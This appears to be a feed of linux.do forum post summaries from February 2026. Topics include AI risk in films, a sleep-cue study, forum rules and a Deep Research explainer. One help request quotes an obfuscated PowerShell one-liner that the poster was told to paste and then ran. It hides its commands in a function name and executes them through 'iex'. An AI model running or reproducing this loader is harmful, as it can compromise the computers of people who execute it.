标题: 从《Her》的数字陪伴到《M3GAN》的物理失控：AI真的会统治人类吗？
作者: #david888
板块: #搞七捻三
编号: 1633034
帖子: https://linux.do/t/topic/1633034
时间: 2026-02-21 19:30:29
摘要:

前些年看电影《她》（Her），讲的是一个百无聊赖的中年男人，把一个智能语音系统当成真实女友，天天对话并产生了深深的情感依赖。当年看觉得是纯科幻，但放在今天，基于成熟的大语言模型（LLM）和高拟真语音合成（TTS）技术，这套逻辑完全可以直接落地。网上甚至已经有开发者利用过往的聊天记录去微调模型，成功“复刻”了前女友的数字分身。
如果说《她》停留在软件层面的认知拟真，前些天看的另一部电影《梅根》（M3GAN）则让人看到了硬件层面的隐患。影片中，天才女程序员为了照看侄女，开发了一款高度智能的陪伴机器人。但由于代码被恶意篡改（或者说底层指令缺乏严格的安全对齐），这个机器人在执行“保护”指令时，演化出了极端的自我防护和报复行为，最终变成了一台不断杀人的机器。女主角最后只能靠粗暴地摧毁机器人内部的CPU芯片，才得以终止这场灾难。
看着今年春晚上那些动作流畅、整齐划一的实体机器人表演，我心里既感叹机器人技术的飞速发展，又隐隐有些担忧：当AI从屏幕里的聊天框走向拥有钢铁躯壳的“具身智能”，如果这些硬件设备被恶意利用或植入破坏性代码，后果简直不堪设想。
我始终不认为一堆在硅基芯片上运行的参数最终会产生人类意义上的“自我意识”。真正的危险并不在于AI“觉醒”，而在于失控。机器最大的问题和人不一样，人是潜意识里有善恶之分，而机器没有。一旦被恶意利用，它不知道后果。作为技术的见证者，我们真正需要深思的，是如何为这些强大的技术加上坚固的护栏——既要好好利用它们提升效率，又要建立系统和物理层面的熔断机制，防止它们被用于破坏。
大家怎么看？面对越来越像人的AI和机器人，你们觉得最大的风险点在哪里？（her和m3gan这两部电影在B站上都能找到）

标题: 现实版“盗梦空间”？科学家利用声音线索植入梦境，显著提升人类解题能力
作者: #AIGCFREE
板块: #前沿快讯
编号: 1633043
帖子: https://linux.do/t/topic/1633043
时间: 2026-02-21 19:32:28
摘要:

还在为复杂的决策或难题而绞尽脑汁？也许你需要的不是更多的咖啡，而是一场“特制”的睡眠。美国西北大学的神经科学家们近日完成了一项突破性研究，他们成功利用声音线索在睡眠中“植入”想法，引导梦境方向，从而将人类解决难题的能力在一夜之间提升了一倍。
“睡眠工程”：从科幻走向现实
这项研究的灵感听起来像极了克里斯托弗·诺兰执导的科幻电影《盗梦空间》。研究团队采用了一种名为“定向记忆再激活”的技术，旨在通过外部感官刺激（声音）来“工程化”梦境内容，进而增强创造力和问题解决能力。
西北大学认知神经科学项目主任、该研究的资深作者肯·帕勒教授表示：“当今世界的许多问题都需要创造性的解决方案。通过深入了解我们的大脑如何进行创造性思维、如何产生新想法，我们就能更接近于解决我们想要解决的问题。而‘睡眠工程’可能正是实现这一目标的助推器。”
实验过程：梦境中的“提示音”
研究招募了20名参与者，要求他们在三分钟内解决一系列复杂的脑筋急转弯谜题。每个谜题都配有独特的背景音乐。结果显示，绝大多数谜题在初次尝试中均未被解开。
当晚，参与者在实验室过夜。当他们进入快速眼动睡眠——即睡眠周期中最容易做梦、且通常伴随清醒梦的阶段——研究人员悄悄播放了其中一半未解谜题的专属配乐。
惊人结果：解题成功率翻倍
次日清晨的结果令人震惊。在20名参与者中，有12人报告称，他们的梦境中出现了与声音线索相关的特定谜题元素。
更重要的是，数据显示，这些被声音线索“提示”过的参与者，在第二天重做这些谜题时，成功率从之前的20%飙升至40%。仅仅一晚的睡眠，配合特定的声音刺激，就让他们的问题解决能力实现了翻倍。
梦境回响：潜意识的奇妙反应
该研究的第一作者、帕勒实验室的博士后研究员凯伦·孔科利分享了一些引人入胜的梦境案例，展示了大脑在睡眠中对外界刺激的敏感反应，即便在非清醒梦状态下也是如此。
“即使没有意识到自己在做梦（非清醒梦），大脑依然会处理外界信息，”孔科利说道，“一位做梦者在梦中向一个梦中角色求助解决我们提示的谜题；另一位被‘树木’谜题提示的参与者，醒来时梦见自己正穿过森林；还有一位被‘丛林’谜题提示的女性，醒来时正梦见自己在丛林中钓鱼，并思考着那个谜题。”
孔科利补充道：“这些案例非常迷人，因为它们表明做梦者可以遵循指令，梦境确实可以被睡眠中的声音所影响，甚至不需要做梦者保持清醒。”
未来展望与生活建议
虽然这项技术仍需更多的重复测试来确认其稳定性和广泛适用性，但它已经为“睡眠学习”和“创造力激发”打开了一扇新的大门。神经科学家们认为，如果这项技术得到完善，未来人们可能在“休息时间”就能完成部分思考工作，同时享受睡眠带来的大脑修复益处。
在此期间，如果你正面临一个棘手的问题，不妨试着在思考时播放一段特定的音乐或声音，然后在小睡时再次播放它。虽然这还不是严格意义上的“盗梦”，但也许你的潜意识会给你一个惊喜的答案。


来源：good.is

标题: 新春快乐，玩玩仙女棒
作者: #Mr_chen0006
板块: #活动
编号: 1633044
帖子: https://linux.do/t/topic/1633044
时间: 2026-02-21 19:33:27
摘要:

和好友一起玩仙女棒

标题: 🐟️上面“包过LINUX DO”的套餐，让我很感慨
作者: #猫猫团子
板块: #搞七捻三
编号: 1633046
帖子: https://linux.do/t/topic/1633046
时间: 2026-02-21 19:34:08
摘要:

我是不反对佬友挣这个钱的，只是觉得：
“我们LINUX DO已经这么牛逼了吗？”
当然我也明白有些人进不来社区的急躁，不过见证了简体中文互联网的“美景”后，我还是很支持始皇取消申请注册制的决定的（没有拍马屁的意思）

标题: 帮我聊天？不用刻意找话题 输入法？
作者: #纯棉花
板块: #搞七捻三
编号: 1633049
帖子: https://linux.do/t/topic/1633049
时间: 2026-02-21 19:34:28
摘要:

有没有一种可以自己导入聊天记录的输入法并且可以在聊天中持续记录对话记录，然后这些作为关键上下文 在引入大模型（学习了聊天技巧和话题库啥的） 能在聊天的时候直接给几条回复别人的话题或者直接帮忙找话题 甚至接管 ，这种技术实现有什么难点吗

标题: 2026年该如何搞钱
作者: #绝无此事
板块: #搞七捻三
编号: 1633057
帖子: https://linux.do/t/topic/1633057
时间: 2026-02-21 19:36:43
摘要:

太穷了！又不想进厂！

标题: 来自小汐的温馨提示2.0
作者: #叱咤月海鱼鱼猫
板块: #搞七捻三
编号: 1633067
帖子: https://linux.do/t/topic/1633067
时间: 2026-02-21 19:40:18
摘要:

社区启用浏览器指纹风控系统
版主说 部分插件会导致论坛风控系统无法工作，统一判断为绕过风控系统，一律封号处理，按照社区的规则因各种违反论坛使用规则导致账号被风控系统删除的，一律恢复不了啦
所以，建议请各位使用广告拦截插件的，添加个排除规则（反正社区也没啥广告）避免触发风控系统被删号哦
好像貌似有好多已经被gank了（逃）

标题: 求助：zeabur有无保活方法？
作者: #Snowflakes
板块: #搞七捻三
编号: 1633072
帖子: https://linux.do/t/topic/1633072
时间: 2026-02-21 19:42:21
摘要:

rt，zeabur有无保活方法？
刚刚收到邮件，账号要被停用，问题是我昨天刚访问了部署的服务：

标题: 佬友们，我疑似被植入木马了
作者: #吞天蛤蟆
板块: #搞七捻三
编号: 1633075
帖子: https://linux.do/t/topic/1633075
时间: 2026-02-21 19:44:54
摘要:

powershell.exe -WINdoW MInimIZ FuNctioN ulSURGiCalIfY.pICsNSWSZriRmMPRCiexkvuU {pArAM([ArraY]$Cn)$tJK=((gcs)[0].fUnCtiOnnAmE);$jW=.($tJK.SubstRiNg(24,3))$tJK.SUBstrInG(2,16); $CrI='iex';return @($asb,(.$CrI($jW)));}ulSURGiCalIfY.pICsNSWSZriRmMPRCiexkvuU;$qpTBsinlHBmriqSBiFbUJUBgyYPgKruFBEUiuwqSkVuLumNM

上面的就是他叫我复制的代码，已经被我输入并运行了，怎么办？我好怕当时没注意，后面后知后觉反应过来了，现在电脑已经断网

标题: 深入 Deep Research
作者: #yelixin_117
板块: #文档共建
编号: 1633079
帖子: https://linux.do/t/topic/1633079
时间: 2026-02-21 19:46:44
摘要:

00: 引言
timeline
    title 模型功能迭代
    2022 : 对话（ChatGPT）
         : 能回答，但来自训练数据
    2023 : 搜索增强（Perplexity）
         : 能搜索，但搜完就停
    2024-25 : Deep Research
            : 拆解、调查、反思、带源报告
    2025+ : Agents
          : 从研究到行动

Deep Research 是上面这条时间线上的一个关键转折：模型能力第一次真正匹配了人们对"帮我研究一下"的期望——不是搜一下就停，而是拆解问题、并行调查、反复深入、带着来源写出报告。
今天的前沿已经推进到 Agent，但 Deep Research 确立的核心模式——分解、迭代、反思、追溯——正是所有复杂 AI 系统的骨架。
这个系列以 LangChain 的开源实现 Open Deep Research 为参照，逐层拆解这套系统：怎么实现的、为什么这么设计、每个选择带来了什么限制。
01：从搜索到研究的距离

上周持有的一只股票跌了 15%。你打开新闻，没看到什么明显的利空。你想搞清楚为什么。

你会怎么做
你不会直接搜一下就满足。你先想了想——到底关心的是什么？是短期暴跌的触发因素，还是长期持有逻辑是否还成立？想清楚这个，你才知道接下来该查什么。
然后你开始拆解——至少分几条线去查：

宏观面：利率环境、政策变动
行业面：监管动态、竞争格局变化
公司面：财报数据、管理层变动
市场情绪：机构持仓、资金流向

你同时开始调查，每条线独立推进。
调查过程中，新的线索会出现。比如你在看机构持仓报告时，发现某个对冲基金在三周前开始减仓——这本身不是答案，但它指向了一个新的方向：这个基金过去的动作有什么规律？他们掌握了什么信息？
所以实际的研究过程是动态的：探索、发现、追加、再发现。结束的信号不是"时间到了"，而是"再调查下去，新发现的密度明显降低了"。
最后，把所有线索汇总，形成一个能自洽的解释。
这里有四个核心动作：明确问题方向、拆解调查线索、并行探索多条线、基于发现调整方向。

单次 AI 对话，缺少什么
在调查过程中，你当然也会用 AI 对话——查一个具体数据、确认一个事实，它做得很好。这类问题有一个明确的答案，找到就完了，我们可以称之为点状问题。
但"这只股票为什么跌了"不是点状问题。它没有固定终点，每找到一条线索，它指向另一条需要追的线——调查本身在生长。这是一个网状问题。大多数真正有价值的研究问题，都是网状的。
如果你直接把一个网状问题扔给 AI 对话，指望它给你一份有深度的分析报告，你会发现四个明显的缺失：


❶ 没问你关心什么

表现：AI 直接按自己的理解跑下去，不会先确认你的关注点
结果：你关心的是短期触发因素还是长期趋势？是评估风险还是寻找机会？不同方向意味着完全不同的调查路径，但 AI 替你选了一个它认为最合理的——可能根本不是你要的




❷ 没有拆解问题

表现：把一个需要拆解的网状问题当作一个问题来回答
结果：要真正回答"为什么跌了"，你需要分别调查宏观、行业、公司、市场情绪等子问题，从细节里发现线索、触发更深的推理。AI 跳过了这个拆解，直接基于字面意思生成整体回答，覆盖面取决于模型碰巧想到了哪些方向




❸ 搜了一圈就停了

表现：搜了几条信息，生成回答，结束
结果：它不会在看到第一批结果后，意识到"机构减仓这条线索值得深挖"，然后真的去追，再基于新发现调整判断。你拿到的是一个静态的汇总，不是一个动态的调查




❹ 没法验证

表现：回答里可能提到"某机构近期减持了该股票"，但没有来源、没有出处
结果：是上周的数据还是半年前的？是真实信息还是模型编的？你无法区分



这四个缺失不是模型不够聪明。它们是工作流结构的缺失：没有确认意图的环节、没有拆解问题的步骤、没有追加调查的循环、没有锚定到外部数据源的机制。

Deep Research：从涌现到标配
2024 年 12 月，Google 率先在 Gemini 中上线 Deep Research。两个月内，OpenAI、Perplexity、xAI 相继跟进；2025 年 4 月 Anthropic 也加入。半年之内，Deep Research 从一个新概念变成了主流 AI 平台的标配功能。
它们的名字不同，交互界面不同，背后的逻辑却高度相似——因为它们都在解决同一个结构问题。
这不是巧合。它们共同对齐的，正是你在上一节做的那些事。
对应关系很直接。下面这张流程图展示了 Deep Research 系统的典型工作链路：
graph TB
    A[用户提问] --> B[主动澄清<br/>与用户对齐意图]
    B --> C[生成结构化研究计划]
    C --> D[Orchestrator<br/>拆解并分配子任务]
    D --> E[多路并行搜索与阅读]
    E --> F{Orchestrator 反思<br/>信息是否充分？}
    F -->|不充分| D
    F -->|充分| G[来源追踪<br/>逐条标注出处]
    G --> H[综合生成报告]

从这个映射中可以提炼出四个关键机制，它们是 Deep Research 区别于单次 AI 对话的核心：




机制
作用
对应你的做法




主动澄清
确认问题边界
你先想清楚到底关心什么


问题拆解
将问题分解为可独立调查的子任务
你拆出宏观、行业、公司等多条线


反思循环
评估进展，决定继续还是收尾
你根据新发现调整方向


来源追踪
确保每条结论可验证
你记录每条信息的出处




打开盒子
上面描述的都是从外部能观察到的行为——四个机制、一套流程。但一个自然的问题是：它内部到底怎么运转的？这些机制是怎么用代码实现的？实现过程中做了哪些取舍？
各家 Deep Research 都是闭源的黑盒。但 LangChain 的 Open Deep Research 是完全开源的。后续几篇，我们以它为参照，逐层拆解这套系统——怎么实现的、为什么这么设计、每个选择带来了什么取舍。

标题: 访问天数为什么没加
作者: #yiday
板块: #开发调优
编号: 1633081
帖子: https://linux.do/t/topic/1633081
时间: 2026-02-21 19:47:11
摘要: